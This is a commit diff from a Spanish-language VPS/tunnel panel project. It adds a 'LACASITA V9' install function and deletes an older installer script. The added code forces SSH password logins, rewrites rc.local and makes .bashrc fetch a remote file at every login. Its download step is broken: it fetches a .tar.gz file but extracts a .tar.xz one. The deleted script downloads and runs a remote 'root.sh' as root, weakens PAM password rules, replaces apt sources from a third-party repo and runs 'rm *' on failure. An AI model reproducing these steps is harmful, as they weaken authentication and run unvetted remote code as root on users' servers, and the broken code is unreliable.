Kalix1 пре 3 година
родитељ
комит
e3a06dd9c3
51 измењених фајлова са 88 додато и 16550 уклоњено
  1. 82 1
      0-Instalador/install.sh
  2. 1 0
      LACASITAMX-v9x/Otros/Version
  3. 5 0
      LACASITAMX-v9x/Otros/resetsshdrop
  4. 0 1070
      SCRIPT-v8.5x Mod/LACASITA.sh
  5. BIN
      SCRIPT-v8.5x Mod/VPS-MX.tar.xz
  6. 0 1
      SCRIPT-v8.5x Mod/VPS-MX/controlador/IDT.log
  7. 0 1
      SCRIPT-v8.5x Mod/VPS-MX/controlador/SSH20.log
  8. 0 1
      SCRIPT-v8.5x Mod/VPS-MX/controlador/nombre.log
  9. 0 1
      SCRIPT-v8.5x Mod/VPS-MX/controlador/tiemlim.log
  10. 0 1836
      SCRIPT-v8.5x Mod/VPS-MX/controlador/usercodes
  11. 0 1342
      SCRIPT-v8.5x Mod/VPS-MX/herramientas/ADMbot.sh
  12. 0 89
      SCRIPT-v8.5x Mod/VPS-MX/herramientas/Crear-Demo.sh
  13. 0 97
      SCRIPT-v8.5x Mod/VPS-MX/herramientas/apacheon.sh
  14. 0 537
      SCRIPT-v8.5x Mod/VPS-MX/herramientas/blockBT.sh
  15. 0 39
      SCRIPT-v8.5x Mod/VPS-MX/herramientas/dns-netflix.sh
  16. 0 433
      SCRIPT-v8.5x Mod/VPS-MX/herramientas/fai2ban.sh
  17. 0 228
      SCRIPT-v8.5x Mod/VPS-MX/herramientas/gestor.sh
  18. 0 283
      SCRIPT-v8.5x Mod/VPS-MX/herramientas/paysnd.sh
  19. 0 235
      SCRIPT-v8.5x Mod/VPS-MX/herramientas/ports.sh
  20. 0 3
      SCRIPT-v8.5x Mod/VPS-MX/herramientas/speed.py
  21. 0 464
      SCRIPT-v8.5x Mod/VPS-MX/herramientas/speedtest_v1/__init__.py
  22. BIN
      SCRIPT-v8.5x Mod/VPS-MX/herramientas/speedtest_v1/__init__.pyc
  23. BIN
      SCRIPT-v8.5x Mod/VPS-MX/herramientas/speedtest_v1/_pytransform.so
  24. 0 168
      SCRIPT-v8.5x Mod/VPS-MX/herramientas/squidpass.sh
  25. 0 107
      SCRIPT-v8.5x Mod/VPS-MX/herramientas/tcp.sh
  26. 0 93
      SCRIPT-v8.5x Mod/VPS-MX/herramientas/ultrahost
  27. 0 143
      SCRIPT-v8.5x Mod/VPS-MX/herramientas/utils.sh
  28. 0 1
      SCRIPT-v8.5x Mod/VPS-MX/idioma
  29. 0 1
      SCRIPT-v8.5x Mod/VPS-MX/key.txt
  30. 0 1289
      SCRIPT-v8.5x Mod/VPS-MX/menu
  31. 0 1
      SCRIPT-v8.5x Mod/VPS-MX/message.txt
  32. 0 2061
      SCRIPT-v8.5x Mod/VPS-MX/protocolos/C-SSR.sh
  33. 0 267
      SCRIPT-v8.5x Mod/VPS-MX/protocolos/PDirect.py
  34. 0 682
      SCRIPT-v8.5x Mod/VPS-MX/protocolos/PGet.py
  35. 0 313
      SCRIPT-v8.5x Mod/VPS-MX/protocolos/POpen.py
  36. 0 335
      SCRIPT-v8.5x Mod/VPS-MX/protocolos/PPriv.py
  37. 0 318
      SCRIPT-v8.5x Mod/VPS-MX/protocolos/PPub.py
  38. 0 115
      SCRIPT-v8.5x Mod/VPS-MX/protocolos/Shadowsocks-R.sh
  39. 0 116
      SCRIPT-v8.5x Mod/VPS-MX/protocolos/Shadowsocks-libev.sh
  40. 0 93
      SCRIPT-v8.5x Mod/VPS-MX/protocolos/budp.sh
  41. 0 170
      SCRIPT-v8.5x Mod/VPS-MX/protocolos/dropbear.sh
  42. 0 858
      SCRIPT-v8.5x Mod/VPS-MX/protocolos/openvpn.sh
  43. 0 329
      SCRIPT-v8.5x Mod/VPS-MX/protocolos/proxy.sh
  44. 0 267
      SCRIPT-v8.5x Mod/VPS-MX/protocolos/python.py
  45. 0 139
      SCRIPT-v8.5x Mod/VPS-MX/protocolos/shadowsocks.sh
  46. 0 191
      SCRIPT-v8.5x Mod/VPS-MX/protocolos/slowdns.sh
  47. 0 473
      SCRIPT-v8.5x Mod/VPS-MX/protocolos/sockspy.sh
  48. 0 372
      SCRIPT-v8.5x Mod/VPS-MX/protocolos/squid.sh
  49. 0 486
      SCRIPT-v8.5x Mod/VPS-MX/protocolos/ssl.sh
  50. 0 500
      SCRIPT-v8.5x Mod/VPS-MX/protocolos/v2ray.sh
  51. 0 1
      SCRIPT-v8.5x Mod/Version

+ 82 - 1
0-Instalador/install.sh

@@ -289,6 +289,87 @@ install_vps_mx_85_oficial() {
 
 }
 
+#LACASITA V9
+install_LACASITA_90() {
+  clear && clear
+  msg -bar
+  echo -ne "\033[1;97m Digite su slogan: \033[1;32m" && read slogan
+  tput cuu1 && tput dl1
+  echo -e "$slogan"
+  msg -bar
+  clear && clear
+  mkdir /etc/VPS-MX >/dev/null 2>&1
+  cd /etc
+  wget https://raw.githubusercontent.com/NetVPS/Multi-Script/main/LACASITAMX-v9x/VPS-MX.tar.gz >/dev/null 2>&1
+  tar -xf VPS-MX.tar.xz >/dev/null 2>&1
+  chmod +x VPS-MX.tar.xz >/dev/null 2>&1
+  rm -rf VPS-MX.tar.xz
+  cd
+  chmod -R 755 /etc/VPS-MX
+  rm -rf /etc/VPS-MX/MEUIPvps
+  echo "/etc/VPS-MX/menu" >/usr/bin/menu && chmod +x /usr/bin/menu
+  echo "/etc/VPS-MX/menu" >/usr/bin/VPSMX && chmod +x /usr/bin/VPSMX
+  echo "$slogan" >/etc/VPS-MX/message.txt
+  [[ ! -d /usr/local/lib ]] && mkdir /usr/local/lib
+  [[ ! -d /usr/local/lib/ubuntn ]] && mkdir /usr/local/lib/ubuntn
+  [[ ! -d /usr/local/lib/ubuntn/apache ]] && mkdir /usr/local/lib/ubuntn/apache
+  [[ ! -d /usr/local/lib/ubuntn/apache/ver ]] && mkdir /usr/local/lib/ubuntn/apache/ver
+  [[ ! -d /usr/share ]] && mkdir /usr/share
+  [[ ! -d /usr/share/mediaptre ]] && mkdir /usr/share/mediaptre
+  [[ ! -d /usr/share/mediaptre/local ]] && mkdir /usr/share/mediaptre/local
+  [[ ! -d /usr/share/mediaptre/local/log ]] && mkdir /usr/share/mediaptre/local/log
+  [[ ! -d /usr/share/mediaptre/local/log/lognull ]] && mkdir /usr/share/mediaptre/local/log/lognull
+  [[ ! -d /etc/VPS-MX/B-VPS-MXuser ]] && mkdir /etc/VPS-MX/B-VPS-MXuser
+  [[ ! -d /usr/local/protec ]] && mkdir /usr/local/protec
+  [[ ! -d /usr/local/protec/rip ]] && mkdir /usr/local/protec/rip
+  [[ ! -d /etc/protecbin ]] && mkdir /etc/protecbin
+  cd
+  [[ ! -d /etc/VPS-MX/v2ray ]] && mkdir /etc/VPS-MX/v2ray
+  [[ ! -d /etc/VPS-MX/Slow ]] && mkdir /etc/VPS-MX/Slow
+  [[ ! -d /etc/VPS-MX/Slow/install ]] && mkdir /etc/VPS-MX/Slow/install
+  [[ ! -d /etc/VPS-MX/Slow/Key ]] && mkdir /etc/VPS-MX/Slow/Key
+  touch /usr/share/lognull &>/dev/null
+  wget -O /bin/resetsshdrop https://raw.githubusercontent.com/NetVPS/VPS-MX_Oficial/master/LINKS-LIBRERIAS/resetsshdrop &>/dev/null
+  chmod +x /bin/resetsshdrop
+  grep -v "^PasswordAuthentication" /etc/ssh/sshd_config >/tmp/passlogin && mv /tmp/passlogin /etc/ssh/sshd_config
+  echo "PasswordAuthentication yes" >>/etc/ssh/sshd_config
+  rm -rf /usr/local/lib/systemubu1 &>/dev/null
+  rm -rf /etc/versin_script &>/dev/null
+  v1=$(curl -sSL "https://raw.githubusercontent.com/NetVPS/VPS-MX_Oficial/master/SCRIPT-v8.5x%20Mod/Version")
+  echo "$v1" >/etc/versin_script
+  wget -O /etc/versin_script_new https://raw.githubusercontent.com/NetVPS/VPS-MX_Oficial/master/SCRIPT-v8.5x%20Mod/Version &>/dev/null
+  echo '#!/bin/sh -e' >/etc/rc.local
+  sudo chmod +x /etc/rc.local
+  echo "sudo resetsshdrop" >>/etc/rc.local
+  echo "sleep 2s" >>/etc/rc.local
+  echo "exit 0" >>/etc/rc.local
+  echo 'clear' >>.bashrc
+  echo 'echo ""' >>.bashrc
+  echo 'echo -e "\t\033[91m __     ______  ____        __  ____  __ " ' >>.bashrc
+  echo 'echo -e "\t\033[91m \ \   / /  _ \/ ___|      |  \/  \ \/ / " ' >>.bashrc
+  echo 'echo -e "\t\033[91m  \ \ / /| |_) \___ \ _____| |\/| |\  /  " ' >>.bashrc
+  echo 'echo -e "\t\033[91m   \ V / |  __/ ___) |_____| |  | |/  \  " ' >>.bashrc
+  echo 'echo -e "\t\033[91m    \_/  |_|   |____/      |_|  |_/_/\_\ " ' >>.bashrc
+  echo 'wget -O /etc/versin_script_new https://raw.githubusercontent.com/NetVPS/VPS-MX_Oficial/master/SCRIPT-v8.5x%20Mod/Version &>/dev/null' >>.bashrc
+  echo 'echo "" ' >>.bashrc
+  echo 'mess1="$(less /etc/VPS-MX/message.txt)" ' >>.bashrc
+  echo 'echo "" ' >>.bashrc
+  echo 'echo -e "\t\033[92mRESELLER : $mess1 "' >>.bashrc
+  echo 'echo -e "\t\e[1;33mVERSION: \e[1;31m$(cat /etc/versin_script_new)"' >>.bashrc
+  echo 'echo "" ' >>.bashrc
+  echo 'echo -e "\t\033[97mPARA MOSTAR PANEL BASH ESCRIBA: sudo VPSMX o menu "' >>.bashrc
+  echo 'echo ""' >>.bashrc
+  rm -rf /usr/bin/pytransform &>/dev/null
+  rm -rf VPS-MX.sh
+  rm -rf lista-arq
+  service ssh restart &>/dev/null
+  clear && clear
+  msg -bar
+  echo -e "\e[1;92m             >> INSTALACION COMPLETADA <<" && msg bar2
+  echo -e "      COMANDO PRINCIPAL PARA ENTRAR AL PANEL "
+  echo -e "                      \033[1;41m  menu  \033[0;37m" && msg -bar2
+}
+
 #SCRIPT LATAM 2.0
 install_latam() {
     #CARPETAS PRINCIPALES
@@ -565,7 +646,7 @@ case $opcao in
   install_vps_mx_85_oficial
   ;;
 2)
-  install_mod
+  install_LACASITA_90
   ;;
 3)
   install_ADMRufu

+ 1 - 0
LACASITAMX-v9x/Otros/Version

@@ -0,0 +1 @@
+9X

+ 5 - 0
LACASITAMX-v9x/Otros/resetsshdrop

@@ -0,0 +1,5 @@
+#!/bin/bash
+sleep 5s
+service dropbear stop &>/dev/null
+service ssh restart &>/dev/null
+service dropbear restart &>/dev/null

+ 0 - 1070
SCRIPT-v8.5x Mod/LACASITA.sh

@@ -1,1070 +0,0 @@
- #!/bin/bash
- if [ `whoami` != 'root' ] 
-
- then
- echo -e "\e[1;31mPARA PODER USAR EL INSTALADOR ES NECESARIO SER ROOT\nAUN NO SABES COMO INICAR COMO ROOT?\nDIJITA ESTE COMANDO EN TU TERMINAL ( sudo -i )\e[0m"
-
-
- rm * 
-
- exit 
-
- fi 
-
- msg () { 
-
- BRAN='\033[1;37m' && VERMELHO='\e[31m' && VERDE='\e[32m' && AMARELO='\e[33m' 
-
- AZUL='\e[34m' && MAGENTA='\e[35m' && MAG='\033[1;36m' &&NEGRITO='\e[1m' && SEMCOR='\e[0m' 
-
- case $1 in 
-
- -ne)cor="${VERMELHO}${NEGRITO}" && echo -ne "${cor}${2}${SEMCOR}";; 
-
- -ama)cor="${AMARELO}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; 
-
- -verm)cor="${AMARELO}${NEGRITO}[!] ${VERMELHO}" && echo -e "${cor}${2}${SEMCOR}";; 
-
- -azu)cor="${MAG}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; 
-
- -verd)cor="${VERDE}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; 
-
- -bra)cor="${VERMELHO}" && echo -ne "${cor}${2}${SEMCOR}";; 
-
- "-bar2"|"-bar")cor="${VERMELHO}————————————————————————————————————————————————————" && echo -e "${SEMCOR}${cor}${SEMCOR}";; 
-
- esac 
-
- } 
-
- os_system(){ 
-
- system=$(cat -n /etc/issue |grep 1 |cut -d ' ' -f6,7,8 |sed 's/1//' |sed 's/      //') 
-
- distro=$(echo "$system"|awk '{print $1}') 
-
- case $distro in 
-
- Debian)vercion=$(echo $system|awk '{print $3}'|cut -d '.' -f1);; 
-
- Ubuntu)vercion=$(echo $system|awk '{print $2}'|cut -d '.' -f1,2);; 
-
- esac 
-
- link="https://raw.githubusercontent.com/rudi9999/ADMRufu/main/Repositorios/${vercion}.list" 
-
- case $vercion in 
-
- 8|9|10|11|16.04|18.04|20.04|20.10|21.04|21.10|22.04)wget -O /etc/apt/sources.list ${link} &>/dev/null;; 
-
- esac 
-
- } 
-
- fun_bar () { 
-
- comando="$1" 
-
- _=$( 
-
- $comando > /dev/null 2>&1 
-
- ) & > /dev/null 
-
- pid=$! 
-
- while [[ -d /proc/$pid ]]; do 
-
- echo -ne "  \033[1;33m[" 
-
- for((i=0; i<40; i++)); do 
-
- echo -ne "\033[1;31m>" 
-
- sleep 0.1 
-
- done 
-
- echo -ne "\033[1;33m]" 
-
- sleep 1s 
-
- echo 
-
- tput cuu1 && tput dl1 
-
- done 
-
- echo -ne "  \033[1;33m[\033[1;31m>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\033[1;33m] - \033[1;32m OK \033[0m\n" 
-
- sleep 1s 
-
- } 
-
- msg -bar2 
-
- echo -e " \e[97m\033[1;41m   =====>>►►  SCRIPT MOD LACASITAMX  ◄◄<<=====      \033[1;37m" 
-
- msg -bar2 
-
- msg -ama "               PREPARANDO INSTALACION" 
-
- msg -bar2 
-
- INSTALL_DIR_PARENT="/usr/local/vpsmxup/" 
-
- INSTALL_DIR=${INSTALL_DIR_PARENT} 
-
- if [ ! -d "$INSTALL_DIR" ]; then 
-
- mkdir -p "$INSTALL_DIR_PARENT" 
-
- cd "$INSTALL_DIR_PARENT" 
-
- wget https://raw.githubusercontent.com/lacasitamx/VPSMX/master/zzupdate/zzupdate.default.conf -O /usr/local/vpsmxup/vpsmxup.default.conf  &> /dev/null 
-
- else 
-
- echo "" 
-
- fi 
-
- echo "" 
-
- apt install pv -y &> /dev/null 
-
- apt install pv -y -qq --silent > /dev/null 2>&1 
-
- os_system 
-
- echo -e "\e[1;31m	SISTEMA: \e[33m$distro $vercion" 
-
- killall apt apt-get > /dev/null 2>&1 && echo -e "\033[97m    ◽️ INTENTANDO DETENER UPDATER SECUNDARIO " | pv -qL 40 
-
- dpkg --configure -a > /dev/null 2>&1 && echo -e "\033[97m    ◽️ INTENTANDO RECONFIGURAR UPDATER " | pv -qL 40 
-
- apt list --upgradable &>/dev/null && echo -e "\033[97m    ◽️ INSTALANDO APT-LIST " | pv -qL 50 
-
- apt-get install software-properties-common -y > /dev/null 2>&1 && echo -e "\033[97m    ◽️ INSTALANDO S-P-C " | pv -qL 50 
-
- apt-get install curl -y &>/dev/null 
-
- apt-get install python -y &>/dev/null && echo -e "\033[97m    ◽️ INSTALANDO PY " | pv -qL 50 
-
- apt-get install python-pip -y &>/dev/null && echo -e "\033[97m    ◽️ INSTALANDO PY-PIP " | pv -qL 50 
-
- apt-get install python3 -y &>/dev/null && echo -e "\033[97m    ◽️ INSTALANDO PY3 " | pv -qL 50 
-
- apt-get install python3-pip -y &>/dev/null && echo -e "\033[97m    ◽️ INSTALANDO PY3-PIP " | pv -qL 50 
-
- sudo apt-add-repository universe -y > /dev/null 2>&1 && echo -e "\033[97m    ◽️ INSTALANDO LIBRERIA UNIVERSAL " | pv -qL 50 
-
- [[ $(dpkg --get-selections|grep -w "net-tools"|head -1) ]] || apt-get install net-tools -y &>/dev/null && echo -e "\033[97m    ◽️ INSTALANDO NET-TOOLS" | pv -qL 40 
-
- sed -i 's/.*pam_cracklib.so.*/password sufficient pam_unix.so sha512 shadow nullok try_first_pass #use_authtok/' /etc/pam.d/common-password > /dev/null 2>&1 && echo -e "\033[97m    ◽️ DESACTIVANDO PASS ALFANUMERICO " | pv -qL 50 
-
- apt-get install lsof -y &>/dev/null && echo -e "\033[97m    ◽️ INSTALANDO LSOF" | pv -qL 40 
-
- apt-get install bc -y &>/dev/null && echo -e "\033[97m    ◽️ INSTALANDO BC" | pv -qL 40 
-
- fun_bar 'sleep 0.1s' 
-
- rootvps(){ 
-
- echo -e "\033[31m     OPTENIENDO ACCESO ROOT    " 
-
- wget https://raw.githubusercontent.com/lacasitamx/VPSMX/master/SR/root.sh &>/dev/null -O /usr/bin/rootlx &>/dev/null 
-
- chmod 775 /usr/bin/rootlx &>/dev/null 
-
- rootlx 
-
- clear 
-
- echo -e "\033[31m     ACCESO ROOT CON ÉXITO    " 
-
- sleep 1 
-
- rm -rf /usr/bin/rootlx 
-
- } 
-
- msg -bar 
-
- echo -e "\033[1;37m  YA TIENES ACCESO ROOT A TU VPS?\n  ESTO SOLO FUNCIONA PARA (AWS,GOOGLECLOUD,AZURE,ETC)\n  SI YA TIENES ACCESO A ROOT SOLO IGNORA ESTE MENSAJE\n  Y SIGUE CON LA INSTALACION NORMAL..." 
-
- msg -bar 
-
- read -p "Responde [ s | n ]: " -e -i n rootvps 
-
- [[ "$rootvps" = "s" || "$rootvps" = "S" ]] && rootvps 
-
- msg -bar 
-
- clear 
-
- rm -rf /usr/bin/vpsmxup 
-
- rm -rf lista-arq 
-
- rm -rf LACASITA.sh 
-
- function printTitle 
-
- { 
-
- echo "" 
-
- echo -e "\033[1;92m$1\033[1;91m" 
-
- printf '%0.s-' $(seq 1 ${#1}) 
-
- echo "" 
-
- } 
-
- printTitle "Limpieza de caché local" 
-
- apt-get clean 
-
- printTitle "Actualizar información de paquetes disponibles" 
-
- apt-get update 
-
- printTitle "PAQUETES DE ACTUALIZACIÓN" 
-
- apt-get dist-upgrade -y 
-
- printTitle "Limpieza de paquetes (eliminación automática de paquetes no utilizados)" 
-
- apt-get autoremove -y 
-
- printTitle "Versión actual" 
-
- lsb_release -d 
-
- clear 
-
- cd $HOME 
-
- sudo sysctl -w net.ipv6.conf.all.disable_ipv6=1 > /dev/null 2>&1 
-
- sudo sysctl -w net.ipv6.conf.default.disable_ipv6=1 > /dev/null 2>&1 
-
- sudo sysctl -w net.ipv6.conf.lo.disable_ipv6=1 > /dev/null 2>&1 
-
- rm $(pwd)/$0 &> /dev/null 
-
- SCPdir="/etc/VPS-MX" 
-
- SCPinstal="$HOME/install" 
-
- SCPidioma="${SCPdir}/idioma" 
-
- SCPusr="${SCPdir}/controlador" 
-
- SCPfrm="${SCPdir}/herramientas" 
-
- SCPinst="${SCPdir}/protocolos" 
-
- myip=`ifconfig | grep -Eo 'inet (addr:)?([0-9]*\.){3}[0-9]*' | grep -Eo '([0-9]*\.){3}[0-9]*' | grep -v '127.0.0' | head -n1`; 
-
- myint=`ifconfig | grep -B1 "inet addr:$myip" | head -n1 | awk '{print $1}'`; 
-
- rm -rf /etc/localtime &>/dev/null 
-
- ln -s /usr/share/zoneinfo/America/Chihuahua /etc/localtime &>/dev/null 
-
- rm -rf /usr/local/lib/systemubu1 &> /dev/null 
-
- clear 
-
- msg -bar2 
-
- msg -ama "     [ SCRIPT \033[1;97m MOD LACASITAMX\033[1;33m ]" 
-
- msg -bar 
-
- echo -e "\033[97m" 
-
- echo -e "  \033[41m    -- INSTALACION DE PAQUETES  --    \e[49m" 
-
- echo -e "  \033[100m     PONER ATENCION  PARA SIGUIENTE PREGUNTA     " 
-
- echo -e "\033[97m" 
-
- msg -bar 
-
- apt-get install grep -y &>/dev/null 
-
- [[ $(dpkg --get-selections|grep -w "grep"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null 
-
- [[ $(dpkg --get-selections|grep -w "grep"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null 
-
- echo -e "\033[97m    # apt-get install grep............ $ESTATUS " 
-
- apt-get install gawk -y &>/dev/null 
-
- [[ $(dpkg --get-selections|grep -w "gawk"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null 
-
- [[ $(dpkg --get-selections|grep -w "gawk"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null 
-
- echo -e "\033[97m    # apt-get install gawk............ $ESTATUS " 
-
- apt-get install mlocate -y &>/dev/null 
-
- [[ $(dpkg --get-selections|grep -w "mlocate"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null 
-
- [[ $(dpkg --get-selections|grep -w "mlocate"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null 
-
- echo -e "\033[97m    # apt-get install mlocate......... $ESTATUS " 
-
- apt-get install lolcat -y &>/dev/null 
-
- sudo gem install lolcat &>/dev/null 
-
- [[ $(dpkg --get-selections|grep -w "lolcat"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null 
-
- [[ $(dpkg --get-selections|grep -w "lolcat"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null 
-
- echo -e "\033[97m    # apt-get install lolcat.......... $ESTATUS " 
-
- [[ $(dpkg --get-selections|grep -w "at"|head -1) ]] || apt-get install at -y &>/dev/null 
-
- [[ $(dpkg --get-selections|grep -w "at"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null 
-
- [[ $(dpkg --get-selections|grep -w "at"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null 
-
- echo -e "\033[97m    # apt-get install at.............. $ESTATUS " 
-
- [[ $(dpkg --get-selections|grep -w "nano"|head -1) ]] || apt-get install nano -y &>/dev/null 
-
- [[ $(dpkg --get-selections|grep -w "nano"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null 
-
- [[ $(dpkg --get-selections|grep -w "nano"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null 
-
- echo -e "\033[97m    # apt-get install nano............ $ESTATUS " 
-
- echo iptables-persistent iptables-persistent/autosave_v4 boolean true | sudo debconf-set-selections 
-
- echo iptables-persistent iptables-persistent/autosave_v6 boolean true | sudo debconf-set-selections 
-
- [[ $(dpkg --get-selections|grep -w "iptables-persistent"|head -1) ]] || apt-get install iptables-persistent -y &>/dev/null 
-
- [[ $(dpkg --get-selections|grep -w "iptables-persistent"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null 
-
- [[ $(dpkg --get-selections|grep -w "iptables-persistent"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null 
-
- echo -e "\033[97m    # apt-get install iptables........ $ESTATUS " 
-
- [[ $(dpkg --get-selections|grep -w "bc"|head -1) ]] || apt-get install bc -y &>/dev/null 
-
- [[ $(dpkg --get-selections|grep -w "lsof"|head -1) ]] || apt-get install lsof -y &>/dev/null 
-
- [[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] || apt-get install figlet -y &>/dev/null 
-
- [[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null 
-
- [[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null 
-
- echo -e "\033[97m    # apt-get install figlet.......... $ESTATUS " 
-
- [[ $(dpkg --get-selections|grep -w "cowsay"|head -1) ]] || apt-get install cowsay -y &>/dev/null 
-
- [[ $(dpkg --get-selections|grep -w "cowsay"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null 
-
- [[ $(dpkg --get-selections|grep -w "cowsay"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null 
-
- echo -e "\033[97m    # apt-get install cowsay.......... $ESTATUS " 
-
- [[ $(dpkg --get-selections|grep -w "screen"|head -1) ]] || apt-get install screen -y &>/dev/null 
-
- [[ $(dpkg --get-selections|grep -w "screen"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null 
-
- [[ $(dpkg --get-selections|grep -w "screen"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null 
-
- echo -e "\033[97m    # apt-get install screen.......... $ESTATUS " 
-
- [[ $(dpkg --get-selections|grep -w "python"|head -1) ]] || apt-get install python -y &>/dev/null 
-
- [[ $(dpkg --get-selections|grep -w "python3"|head -1) ]] || apt-get install python3 -y &>/dev/null 
-
- [[ $(dpkg --get-selections|grep -w "python3-pip"|head -1) ]] || apt-get install python3-pip -y &>/dev/null 
-
- [[ $(dpkg --get-selections|grep -w "ufw"|head -1) ]] || apt-get install ufw -y &>/dev/null 
-
- [[ $(dpkg --get-selections|grep -w "ufw"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null 
-
- [[ $(dpkg --get-selections|grep -w "ufw"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null 
-
- echo -e "\033[97m    # apt-get install ufw............. $ESTATUS " 
-
- [[ $(dpkg --get-selections|grep -w "unzip"|head -1) ]] || apt-get install unzip -y &>/dev/null 
-
- [[ $(dpkg --get-selections|grep -w "unzip"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null 
-
- [[ $(dpkg --get-selections|grep -w "unzip"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null 
-
- echo -e "\033[97m    # apt-get install unzip........... $ESTATUS " 
-
- [[ $(dpkg --get-selections|grep -w "zip"|head -1) ]] || apt-get install zip -y &>/dev/null 
-
- [[ $(dpkg --get-selections|grep -w "zip"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null 
-
- [[ $(dpkg --get-selections|grep -w "zip"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null 
-
- echo -e "\033[97m    # apt-get install zip............. $ESTATUS " 
-
- apt-get install apache2 -y &>/dev/null 
-
- sed -i "s;Listen 80;Listen 81;g" /etc/apache2/ports.conf > /dev/null 2>&1 
-
- service apache2 restart > /dev/null 2>&1 
-
- [[ $(dpkg --get-selections|grep -w "apache2"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null 
-
- [[ $(dpkg --get-selections|grep -w "apache2"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null 
-
- echo -e "\033[97m    # apt-get install apache2......... $ESTATUS " 
-
- msg -bar2 
-
- clear 
-
- idfix64_86 () { 
-
- clear 
-
- clear 
-
- msg -bar2 
-
- msg -bar2 
-
- echo "" 
-
- echo -e "\e[91m   INSTALACION SEMI MANUAL DE PAQUETES " 
-
- echo -e "\e[91m(En caso de pedir confirmacion escoja: #y#) \e[0m" 
-
- echo "" 
-
- sleep 7s 
-
- apt-get update; apt-get upgrade -y 
-
- apt-get install curl -y 
-
- apt-get install lsof -y 
-
- apt-get install sudo -y 
-
- apt-get install figlet -y 
-
- apt-get install cowsay -y 
-
- apt-get install bc -y 
-
- apt-get install python -y 
-
- apt-get install at -y 
-
- apt-get install apache2 -y 
-
- sed -i "s;Listen 80;Listen 81;g" /etc/apache2/ports.conf 
-
- service apache2 restart 
-
- clear 
-
- clear 
-
- clear 
-
- msg -bar2 
-
- msg -bar2 
-
- echo "" 
-
- echo -e "\e[91mESCOJER PRIMERO #All locales# Y LUEGO #en_US.UTF-8# \e[0m" 
-
- echo "" 
-
- sleep 7s 
-
- export LANGUAGE=en_US.UTF-8\ 
- && export LANG=en_US.UTF-8\ 
- && export LC_ALL=en_US.UTF-8 \  
- && export LC_CTYPE="en_US.UTF-8"\ 
- && locale-gen en_US.UTF-8\ 
- && sudo apt-get -y install language-pack-en-base\ 
- && sudo dpkg-reconfigure locales 
- clear 
- } 
-
- clear 
-
- clear 
-
- msg -bar2 
-
- echo -e "\033[1;97m  ¿PRECENTO ALGUN ERROR ALGUN PAQUETE ANTERIOR?" 
-
- msg -bar2 
-
- echo -e "\033[1;32m 1- Escoja:(N) No. Para Instalacion Normal" 
-
- echo -e "\033[1;31m 2- Escoja:(S) Si. Saltaron errores." 
-
- msg -bar2 
-
- echo -e "\033[1;39m Al preciona enter continuara la instalacion Normal" 
-
- msg -bar2 
-
- read -p " [ S | N ]: " idfix64_86 
-
- [[ "$idfix64_86" = "s" || "$idfix64_86" = "S" ]] && idfix64_86 
-
- clear 
-
- fun_ipe () { 
-
- MIP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1) 
-
- MIP2=$(wget -qO- ifconfig.me) 
-
- [[ "$MIP" != "$MIP2" ]] && IP="$MIP2" || IP="$MIP" 
-
- } 
-
- fun_ip () { 
-
- MIP2=$(wget -qO- ifconfig.me) 
-
- MIP=$(wget -qO- whatismyip.akamai.com) 
-
- if [ $? -eq 0 ]; then 
-
- IP="$MIP" 
-
- else 
-
- IP="$MIP2" 
-
- fi 
-
- } 
-
- function_verify () { 
-
- permited=$(curl -sSL "https://www.dropbox.com/s/nmau2w8vebewpq3/control") 
-
- [[ $(echo $permited|grep "${IP}") = "" ]] && { 
-
- clear 
-
- echo -e "\n\n\n\033[1;91m————————————————————————————————————————————————————\n      ¡ESTA KEY NO CONCUERDA CON EL INSTALADOR! \n      BOT: @CONECTEDMX_BOT \n————————————————————————————————————————————————————\n\n\n" 
-
